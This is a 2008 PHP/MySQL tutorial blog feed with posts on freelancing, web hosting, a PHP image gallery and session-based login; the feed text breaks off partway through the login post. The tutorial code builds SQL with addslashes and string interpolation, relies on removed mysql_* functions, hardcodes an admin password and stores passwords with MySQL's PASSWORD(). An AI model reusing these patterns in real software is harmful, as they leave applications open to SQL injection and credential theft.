<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7103248129274851467</id><updated>2012-02-16T07:28:15.325-08:00</updated><title type='text'>PHP &amp; MYSQL</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>41</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-8637885921724833496</id><published>2008-03-22T01:01:00.001-07:00</published><updated>2008-03-22T01:01:54.203-07:00</updated><title type='text'>Freelance PHP MySQL Jobs</title><content type='html'>As far as i know Scriptlance is one of the best place to find freelance programming jobs. Each day you can find about 50 new job postings. Most of the jobs will require advance knowledge on PHP and MySQL like creating a dating website, car rental website, or a shopping cart but some are quite easy like creating a site counter and signup form.&lt;br /&gt;&lt;br /&gt;When you are new to Scriptlance it's better if you stick to find these easy jobs first and try to get good reviews. As you go learn how to do the more difficult ones. Check out the job (project) descriptions just to see what kind of jobs in demand and keep it in a list. Because there may be similar jobs in the future you should create a draft on the design (algorithm, database, process, etc). That way when you get enough experience and you see a similar job posted you can complete it faster &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you want to do some freelance jobs here's a little checklist that might help : &lt;br /&gt;Get a clear description of the project. Ask whenever you are unsure about something. Create a demo / mockup whenever possible so you can be sure that you and your client are talking about the same thing.&lt;br /&gt;&lt;br /&gt;Can you do it? Seriously, can you complete each and every features requested? Your client won't be happy if you say you can complete the job but fail to do so. One quick way to be sure is to make a prototype before even bidding the project then propose it to your (future) client to see if it is what she expected.&lt;br /&gt;&lt;br /&gt;Don't be too optimistic. If you think you can complete a job in one day make sure you can do it in one day. This include all the testing and bug fixing.&lt;br /&gt;&lt;br /&gt;Can you accept the payment? Some will want to pay using PayPal if you can accept PayPal it's no problem but if you can't maybe you should consider finding another project. &lt;br /&gt;&lt;br /&gt;Ask for the PHP and MySQL version used by your client and develop the project using the same version. This will reduce the risk of creating buggy scripts just because your version and your client's version is different&lt;br /&gt;&lt;br /&gt;Test and retest.&lt;br /&gt;&lt;br /&gt;Be ready to fix bugs. All software have bugs, but make sure you are ready to fix them when it's found. Your clients will certainly expect a prompt response so give it to them. Even if your script is buggy but if you are prompt in responding and fixing it you can get good reviews.&lt;br /&gt;&lt;br /&gt;KYOB&lt;br /&gt;That's short for Kick Your Own Butt ! Freelancing requires hard discipline and because there's no boss or supervisor breathing on your neck it can be hard to feel that you are working. Sure, you still have deadlines, but the client is probably on the other side of the planet and most likely you will never see her face to face. It just doesn't feel the same as an ordinary job. KYOB is probably the most important ability you must master if you really want to be a successful freelancer.&lt;br /&gt;&lt;br /&gt;By the way, if you're interested i suggest you read about Site Build It. &lt;br /&gt;&lt;br /&gt;From my personal experience you can really earn a substantial income by making a website about something you know and enjoy. Your website doesn't always need to be related to computers, programming, web development or internet. You can make a site related your hobby if you want to. SBI's step by step process really works. &lt;br /&gt;&lt;br /&gt;I do feel you really should take a peek on SBI and when you still have doubts just go ask a real humang being about it .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-8637885921724833496?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/8637885921724833496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=8637885921724833496&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8637885921724833496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8637885921724833496'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/freelance-php-mysql-jobs.html' title='Freelance PHP MySQL Jobs'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-1648827793683746841</id><published>2008-03-22T01:00:00.000-07:00</published><updated>2008-03-22T01:01:14.855-07:00</updated><title type='text'>Finding Web Hosting For PHP And MySQL</title><content type='html'>There are a lot of things to consider when choosing a web hosting company. But one thing for sure is that price is no longer important. Web hosting is a very competitive field so the price just keeps getting lower and lower. It is so easy to find cheap web hosting for PHP and MySQL&lt;br /&gt;&lt;br /&gt;The important things to consider when choosing PHP and MySQL web hosting are :&lt;br /&gt;&lt;br /&gt;PHP and MySQL versions&lt;br /&gt;If a web hosting company say that they support PHP 4 make sure it's the latest version not the 4.0.1 version. Same thing for MySQL but with an extra precaution. Some webhosting companty only support MyISAM tables, so if you need InnoDB make sure you ask if it's available.&lt;br /&gt;&lt;br /&gt;Specific setting / feature&lt;br /&gt;For example, you want to create a PHP script which change a file's permission using chmod(). Guess what, if PHP is run as the server your code won't work and there is nothing you can do about it. This exact thing happen to me with this website. I didn't foresee that i would make such application. Anyway just try imagining what you want to do with your web site and if you are uncertain whether a web host will support a feature, just ask.&lt;br /&gt;&lt;br /&gt;Connection speed&lt;br /&gt;All web hosting company claim that they have fast connection speed, but you have to test it to believe it. Use NetMechanic's free service to test the web host company's homepage. If the result is good then the claim is most likely true.&lt;br /&gt;&lt;br /&gt;Data transfer&lt;br /&gt;When you just started a website it doesn't matter much. But as your website grows you have to make sure you have enough bandwidth. One or two gigabytes (Gb) per month is more than enough for most web sites&lt;br /&gt;&lt;br /&gt;Access to raw log file and online statistics (log file analyzer)&lt;br /&gt;If you are serious in building a website, for commercial purposes for example, this is very critical. You can discover a lot of information from log files like the keywords used to find your website, most visited pages, peak times etc.&lt;br /&gt;&lt;br /&gt;Storage space&lt;br /&gt;Measure your own website, start small but leave room for expansion. For a small website 15 megabytes is plenty.&lt;br /&gt;&lt;br /&gt;Customer support&lt;br /&gt;They have to be there when you need them, period. Try asking some questions before you decide to go with a hosting company. If it takes more than 24 hours for them to reply then find another host.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For those of you who just want to experiment you can use MySQL PHP free hosting. There are probably hundreds of them out there, you just need to pick one. They usually place banners or other kinds of advertising on you web page and most are slow. Anyway you can't expect much from free services. &lt;br /&gt;&lt;br /&gt;Actually even if you just experimenting with PHP and MySQL it's better to have you own web site. Free hosting usually have lots of restriction so you really can't do much experiment like opening a socket connection and stuff like that.&lt;br /&gt;&lt;br /&gt;There's this one website that rank ten PHP MySQL website hosting company based on price, quality, performance and features. If you need a second opinion you can go there.&lt;br /&gt;&lt;br /&gt;A bit off topic here. If you intend to build an e-business (for yourself or for a client) instead of just a website you should consider about Site Build It. It's an all-in-one site-building, site-hosting, and site-marketing service. It even outperformed Microsoft's bCentral and Yahoo Web Hosting Pro. The only drawback is that the HTML templates provided look a bit lame. But since now you can upload your own template i guess it's not a big deal anymore.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-1648827793683746841?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/1648827793683746841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=1648827793683746841&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1648827793683746841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1648827793683746841'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/finding-web-hosting-for-php-and-mysql.html' title='Finding Web Hosting For PHP And MySQL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-720707773726188685</id><published>2008-03-22T00:57:00.000-07:00</published><updated>2008-03-22T01:00:24.754-07:00</updated><title type='text'>PHP MySQL Image Gallery</title><content type='html'>On the previous tutorial you already know how to upload and download files to the server. Now we're gonna reuse the codes to build an image gallery. It's a simple image gallery where the admin ( that's you ) is the only one who can add/modify/delete the album and images. The "normal folks" can only browse around the image gallery checking out the images from one album to another&lt;br /&gt;&lt;br /&gt;The admin section contain the following :&lt;br /&gt;Add New Album&lt;br /&gt;Album List&lt;br /&gt;Edit &amp; Delete Album&lt;br /&gt;Add Image&lt;br /&gt;Image List&lt;br /&gt;Edit &amp; Delete Image&lt;br /&gt;&lt;br /&gt;And the visitor page contain these :&lt;br /&gt;Display Album List&lt;br /&gt;Display Image List&lt;br /&gt;Display Image Detail&lt;br /&gt;&lt;br /&gt;Now, before we go straight to the codes we need to talk about the database design, directory layout, and configurations.&lt;br /&gt;Database Design&lt;br /&gt;&lt;br /&gt;For a simple image gallery like this we only need two tables, tbl_album and tbl_image. Here is the SQL to create these tables&lt;br /&gt;&lt;br /&gt;Source code : image-gallery.sql &lt;br /&gt;CREATE TABLE tbl_album (&lt;br /&gt;al_id INT NOT NULL AUTO_INCREMENT,&lt;br /&gt;al_name VARCHAR(64) NOT NULL,&lt;br /&gt;al_description TEXT NOT NULL,&lt;br /&gt;al_image VARCHAR(64) NOT NULL,&lt;br /&gt;al_date DATETIME NOT NULL,&lt;br /&gt;PRIMARY KEY(al_id)&lt;br /&gt;); &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CREATE TABLE tbl_image (&lt;br /&gt;im_id INT NOT NULL AUTO_INCREMENT,&lt;br /&gt;im_album_id INT NOT NULL,&lt;br /&gt;im_title VARCHAR(64) NOT NULL,&lt;br /&gt;im_description TEXT NOT NULL,&lt;br /&gt;im_type VARCHAR(30) NOT NULL,&lt;br /&gt;im_image VARCHAR(60) NOT NULL,&lt;br /&gt;im_thumbnail VARCHAR(60) NOT NULL,&lt;br /&gt;im_date DATETIME NOT NULL,&lt;br /&gt;PRIMARY KEY(im_id)&lt;br /&gt;);&lt;br /&gt;Directory Layout &lt;br /&gt;&lt;br /&gt;The image below show the file organization for the image gallery &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The images directory is where we kept all of the images. The image icons are stored in the thumbnail sub-directory uder the gallery. Please remember to set write access to the album, gallery, and thumbnail directories otherwise the gallery script will not be able to save the images. &lt;br /&gt;Configurations &lt;br /&gt;&lt;br /&gt;There are some constants in the config file that you should change : &lt;br /&gt;ALBUM_IMG_DIR, GALLERY_IMG_DIR&lt;br /&gt;These are the absolute path to the images directories&lt;br /&gt;&lt;br /&gt;THUMBNAIL_WIDTH&lt;br /&gt;The PHP script will create a thumbnail ( icons ) for each image that you upload. In addition when you add an album image that image will also resized automatically.&lt;br /&gt;&lt;br /&gt;One more note. If you want to test this gallery on your own computer please make sure you already have GD library installed. To check if GD library is installed on your system save the following code and run it. &lt;br /&gt;&lt;?php&lt;br /&gt;if (function_exists('imagecreate')) {&lt;br /&gt;   echo 'OK, you already have GD library installed';&lt;br /&gt;} else {&lt;br /&gt;   echo 'Sorry, it seem that GD library is not installed/enabled';&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;This is a very simple form where you can enter the album name, description and image. After you click the "Add Album" button the script will do the followings : &lt;br /&gt;Save the album image, resize it if necessary&lt;br /&gt;Save the album information to database&lt;br /&gt;&lt;br /&gt;Below is the screenshot of the form:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;And here is the code snippet : &lt;br /&gt;&lt;br /&gt;Example : admin/add-album.php&lt;br /&gt;Source code : admin/add-album.phps &lt;br /&gt;&lt;br /&gt;require_once '../library/config.php';&lt;br /&gt;require_once '../library/functions.php';&lt;br /&gt;&lt;br /&gt;if(isset($_POST['txtName']))&lt;br /&gt;{&lt;br /&gt;   $albumName = $_POST['txtName'];&lt;br /&gt;   $albumDesc = $_POST['mtxDesc'];&lt;br /&gt;&lt;br /&gt;   $imgName = $_FILES['fleImage']['name'];&lt;br /&gt;   $tmpName = $_FILES['fleImage']['tmp_name'];&lt;br /&gt;&lt;br /&gt;   // we need to rename the image name just to avoid&lt;br /&gt;   // duplicate file names&lt;br /&gt;   // first get the file extension&lt;br /&gt;   $ext = strrchr($imgName, ".");&lt;br /&gt;&lt;br /&gt;   // then create a new random name&lt;br /&gt;   $newName = md5(rand() * time()) . $ext;&lt;br /&gt;&lt;br /&gt;   // the album image will be saved here&lt;br /&gt;   $imgPath = ALBUM_IMG_DIR . $newName;&lt;br /&gt;&lt;br /&gt;   // resize all album image&lt;br /&gt;   $result = createThumbnail($tmpName, $imgPath, THUMBNAIL_WIDTH);&lt;br /&gt;&lt;br /&gt;   if (!$result) {&lt;br /&gt;      echo "Error uploading file";&lt;br /&gt;      exit;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   if (!get_magic_quotes_gpc()) {&lt;br /&gt;      $albumName = addslashes($albumName);&lt;br /&gt;      $albumDesc = addslashes($albumDesc);&lt;br /&gt;   } &lt;br /&gt;&lt;br /&gt;   $query = "INSERT INTO tbl_album (al_name, al_description, al_image, al_date) &lt;br /&gt;   VALUES ('$albumName', '$albumDesc', '$newName', NOW())";&lt;br /&gt;&lt;br /&gt;   mysql_query($query) &lt;br /&gt;   or die('Error, add album failed : ' .    mysql_error()); &lt;br /&gt;&lt;br /&gt;   // the album is saved, go to the album list &lt;br /&gt;   echo "&lt;script&gt;window.location.href='index.php?page=list-album';&lt;/script&gt;";&lt;br /&gt;   exit;&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Since we save the images as files instead inserting them to the database we need to make sure there won't be any name duplication problem. To prevent this we just generate some random name for every images that we upload. Take a look at code below : &lt;br /&gt;$ext     = strrchr($imgName, "."); &lt;br /&gt;$newName = md5(rand() * time()) . $ext;&lt;br /&gt;The first line is to extract the file extension from the file name. As an example let say we upload an image named "hyperalbum.jpg". Then strrchr("hyperalbum.jpg", ".") will return ".jpg". On the second line we generate a random number using rand() multiply it with current time and generate the hash code using md5(). It is a very common practice to use the combination of md5(), rand() and time() functions to generate a random name. After we append the file extension to the new name we can then use it to save the uploaded image. &lt;br /&gt;&lt;br /&gt;But before we save the image we need to resize the image if it's too large. As you can see in the album list we only need small images for the album icons. To make the thumbnail we use createThumbnail() function defined in functions.php . Once everything is saved we print a little javascript code to go to the album list page. Note that we cannot simply use header("Location: index.php?page=list-album") to redirect to the album list page since a call to header() will only have an effect when no other output in sent before the call.&lt;br /&gt; &lt;br /&gt;Admin : Album List &lt;br /&gt;&lt;br /&gt;When your first login to the admin area and after adding a new album you can see this page. There's nothing really interesting on this one. It just a plain list of albums where we can see the albums we have and how many images on each album. Here is the snapshot :&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;In the "Images" column you can see how many images contained in an album. If you click on the number you will go to the image list so can see all the images in a particular album. And i'm sure i don't need to explain what that button with "Add Album" written on it does. &lt;br /&gt;&lt;br /&gt;If you re-read the sql containing the table definitions of this gallery you can see that tbl_album doesn't contain any column storing the number of images in it. That number is the result of the left join in the sql query. You can see the sql code below. &lt;br /&gt;$sql = "SELECT al_id, &lt;br /&gt;               al_name, &lt;br /&gt;               al_image, &lt;br /&gt;               COUNT(im_album_id) AS al_numimage&lt;br /&gt;        FROM tbl_album al &lt;br /&gt;             LEFT JOIN tbl_image im ON al.al_id = im.im_album_id&lt;br /&gt;        GROUP by al_id &lt;br /&gt;        ORDER BY al_name ";&lt;br /&gt;&lt;br /&gt;In this query we must use LEFT JOIN instead of INNER JOIN because an album can have zero image in it. If we use INNER JOIN then the empty albums will not be shown in the list. &lt;br /&gt;&lt;br /&gt;Now, if you right click on an album icon and view it's properties you can see that the url fo the icon is pointing to a PHP script instead of an image. The url look like this : viewImage.php?type=album&amp;name=3b6a267a967d7535ff3b1ebc3d9e3c1e.jpg&lt;br /&gt;&lt;br /&gt;In this image gallery whenever we would want to display an album or image icon or the full-size image we always use the viewImage.php file instead of linking to the actual image. There are several reasons to do this. The first is so you could move the images directory outside of your web root to prevent leechers from taking all the images. &lt;br /&gt;&lt;br /&gt;The image gallery in our example doesn't do this. You could go to the images directory and list all the images in the gallery. If you set the value of ALBUM_IMG_DIR and GALLERY_IMG_DIR to a directory outside your webroot then you can prevent this. For example if your web root is /home/myname/public_html you can set ALBUM_IMG_DIR to /home/myname/images/album and GALLERY_IMG_DIR to /home/myname/images/gallery/. &lt;br /&gt;&lt;br /&gt;The second reason is that you may want to restrict the access your gallery. For example the visitors must login before they can see the images. In viewImage.php you could check for the session variable to determine that. So if the visitors hasn't login yet you just display some blank or warning images &lt;br /&gt;&lt;br /&gt;You can checkout the code here. It's really a simple script which requires two inputs. The type of image you wish to display ( album icon, image icon or full size image ) and the image file name. Then we only need to set the appropriate headers, read the image file and send it to the browser. &lt;br /&gt;&lt;br /&gt;Next we'll see how to modify &amp; delete an album.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-720707773726188685?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/720707773726188685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=720707773726188685&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/720707773726188685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/720707773726188685'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/php-mysql-image-gallery.html' title='PHP MySQL Image Gallery'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-7224677757587530301</id><published>2008-03-22T00:54:00.000-07:00</published><updated>2008-03-22T00:56:46.021-07:00</updated><title type='text'>User Authentication</title><content type='html'>With this basic authentication method we store the user information ( user id and password ) directly in the script. This is only good if the application only have one user since adding more user means we must also add the new user id and password in the script.&lt;br /&gt;&lt;br /&gt;Let's start by making the login form first. You can see the code below.&lt;br /&gt;&lt;br /&gt;Example : basic/login.php&lt;br /&gt;Source : basic/login.phps&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;// ... we will put some php code here&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Basic Login&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;&lt;br /&gt;&lt;/head&gt; &lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;if ($errorMessage != '') {&lt;br /&gt;?&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;strong&gt;&lt;font color="#990000"&gt;&lt;?php echo $errorMessage; ?&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;}&lt;br /&gt;?&gt; &lt;br /&gt;&lt;form method="post" name="frmLogin" id="frmLogin"&gt;&lt;br /&gt;&lt;table width="400" border="1" align="center" cellpadding="2" cellspacing="2"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="150"&gt;User Id&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input name="txtUserId" type="text" id="txtUserId"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="150"&gt;Password&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input name="txtPassword" type="password" id="txtPassword"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="150"&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input type="submit" name="btnLogin" value="Login"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt;Nothing sophisticated in that form. It's just a basic login form with two input for entering the user id and password. Make sure that the form method is set to post since we certainly don't want to show up the user id and password in the address bar.&lt;br /&gt;&lt;br /&gt;Right before the login form we there's a code for printing an error message. We can ignore this for now since we'll be talking about it shortly.&lt;br /&gt;&lt;br /&gt;Once we submit the form we can start the authentication process. We simply check if the user id and password exist in $_POST and check if these two match the hardcoded user id and password.&lt;br /&gt;&lt;br /&gt;Example : basic/login.php&lt;br /&gt;Source : basic/login.phps&lt;br /&gt;&lt;?php&lt;br /&gt;// we must never forget to start the session&lt;br /&gt;session_start(); &lt;br /&gt;&lt;br /&gt;$errorMessage = '';&lt;br /&gt;if (isset($_POST['txtUserId']) &amp;&amp; isset($_POST['txtPassword'])) {&lt;br /&gt;// check if the user id and password combination is correct&lt;br /&gt;if ($_POST['txtUserId'] === 'theadmin' &amp;&amp; $_POST['txtPassword'] === 'chumbawamba') {&lt;br /&gt;// the user id and password match, &lt;br /&gt;// set the session&lt;br /&gt;$_SESSION['basic_is_logged_in'] = true;&lt;br /&gt;&lt;br /&gt;// after login we move to the main page&lt;br /&gt;header('Location: main.php');&lt;br /&gt;exit;&lt;br /&gt;} else {&lt;br /&gt;$errorMessage = 'Sorry, wrong user id / password';&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;// ... here is the login form shown previously&lt;br /&gt;&lt;br /&gt;But before we start matching the user id and password. We must start the session first. Never forget to start the session before doing anything to the session since it won't work. &lt;br /&gt;&lt;br /&gt;You can see above that the hardcoded user id and password are "theadmin" and "chumbawamba". If the submitted user id and password match these two then we set the value of $_SESSION['basic_is_logged_in'] to true. After that we move the application's main page. In this case it's called main.php&lt;br /&gt;&lt;br /&gt;If the user id and password don't match we set the error message. This message will be shown on top of the login form. &lt;br /&gt;&lt;br /&gt;Note : When starting the session you may stumble upon this kind of error :&lt;br /&gt;&lt;br /&gt;Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at C:\Webroot\examples\user-authentication\basic\login.php:1) in C:\Webroot\examples\user-authentication\basic\login.php on line 3&lt;br /&gt;&lt;br /&gt;PHP will spit this error message if the script that call session_start() already send something ( a blank space, newline, etc ). The error above happen when i add a single space on the first line right before the php opening tag ( &lt;?php ). Thankfully the error message shows where the output started so fixing this kind of error is simple. After removing that extra space the error is fixed.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Checking if the user is logged in or not&lt;br /&gt;&lt;br /&gt;Since the application main page, main.php, can only be accessed by those who already authenticated themselves we must check that before displaying the page. &lt;br /&gt;&lt;br /&gt;The checking process is fairly simple. We just see if $_SESSION['basic_is_logged_in'] is set or not. If it is set we check if the value is true. If either of this condition is not met then the one accessing this page haven't login yet. And so we redirect to the login page and quit the script. &lt;br /&gt;&lt;br /&gt;If $_SESSION['basic_is_logged_in'] is set and it's value is true then we can continue showing the rest of the page.&lt;br /&gt;&lt;br /&gt;Here is the code for main.php&lt;br /&gt;&lt;br /&gt;Example : basic/main.php&lt;br /&gt;Source : basic/main.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// like i said, we must never forget to start the session&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;// is the one accessing this page logged in or not?&lt;br /&gt;if (!isset($_SESSION['basic_is_logged_in']) &lt;br /&gt;    || $_SESSION['basic_is_logged_in'] !== true) {&lt;br /&gt;&lt;br /&gt;    // not logged in, move to login page&lt;br /&gt;    header('Location: login.php');&lt;br /&gt;    exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Main User Page&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;p&gt;This is the main application page. You are free to play around here since you &lt;br /&gt;are an autenthicated user :-) &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="logout.php"&gt;Logout&lt;/a&gt; &lt;/p&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt;A little note about naming a session variable. As you can see the session that we used to mark whether a user is logged in or not is named 'basic_is_logged_in'. When setting a name for a session variable it's a good thing to use the application name as the prefix. In this case the prefix is 'basic_' . This is especially important when you have multiple application on one site where each requires different login information.&lt;br /&gt;&lt;br /&gt;For example, suppose we have a cms application and a link exchange application where each have their own user authentication system. In both application we use the session variable $_SESSION['is_logged_in']. In this case if we already logged in in the cms application we will no longer be required to login in the link exchange application since both are using the same session name. This is usually not an intended feature. To avoid that kind of thing we can instead use $_SESSION['cms_is_logged_in'] and $_SESSION['exchange_is_logged_in']&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;The Logout Script&lt;br /&gt;&lt;br /&gt;No login script is complete without the logout script right? So let's start making the logout script now.&lt;br /&gt;&lt;br /&gt;The process of logging out a user is actually depends on how we check if a user is logged in or not. In our case we check if $_SESSION['basic_is_logged_in'] is already set or not and check whether it's value is true. Using this information we can build the logout script to simply unset this session or set the session value to false. &lt;br /&gt;&lt;br /&gt;The logout script below use the first method ( unset the session ). Here is the code :&lt;br /&gt;&lt;br /&gt;Example : basic/logout.php&lt;br /&gt;Source : basic/logout.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// i will keep yelling this&lt;br /&gt;// DON'T FORGET TO START THE SESSION !!!&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;// if the user is logged in, unset the session&lt;br /&gt;if (isset($_SESSION['basic_is_logged_in'])) {&lt;br /&gt;   unset($_SESSION['basic_is_logged_in']);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// now that the user is logged out,&lt;br /&gt;// go to login page&lt;br /&gt;header('Location: login.php');&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Before we unset the session we first check if the session is actually exist or not. In case you access the logout script before using the login form then this session variable won't exist yet. &lt;br /&gt;&lt;br /&gt;Unsetting a variable is done simply by using the unset() statement. After we unset the session the next thing we do is simply moving to the login page. Pretty simple huh ?&lt;br /&gt;&lt;br /&gt;Another note : You may already notice this but in each script i keep repeating about not to forget to start the session. The reason is that it is a very very very common error to forget about it when handling session. Once i spent a lot of time debugging a script and it was all because i forgot to add that one line.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A more common method of authenticating a user is by checking the database to see if the submitted user id and password combination exist. To use this kind of authentication we must first build the database table. The sql code to build it is shown below. We also add two user accounts for testing the login script &lt;br /&gt;&lt;br /&gt;Source : database/tbl_auth_user.sql&lt;br /&gt;CREATE TABLE tbl_auth_user (&lt;br /&gt;user_id VARCHAR(10) NOT NULL,&lt;br /&gt;user_password CHAR(32) NOT NULL, &lt;br /&gt;&lt;br /&gt;PRIMARY KEY (user_id)&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;INSERT INTO tbl_auth_user (user_id, user_password) VALUES ('theadmin', PASSWORD('chumbawamba'));&lt;br /&gt;INSERT INTO tbl_auth_user (user_id, user_password) VALUES ('webmaster', PASSWORD('webmistress'));&lt;br /&gt;&lt;br /&gt;We will use the same html code to create login form created in previous example. We will only need to modify the login 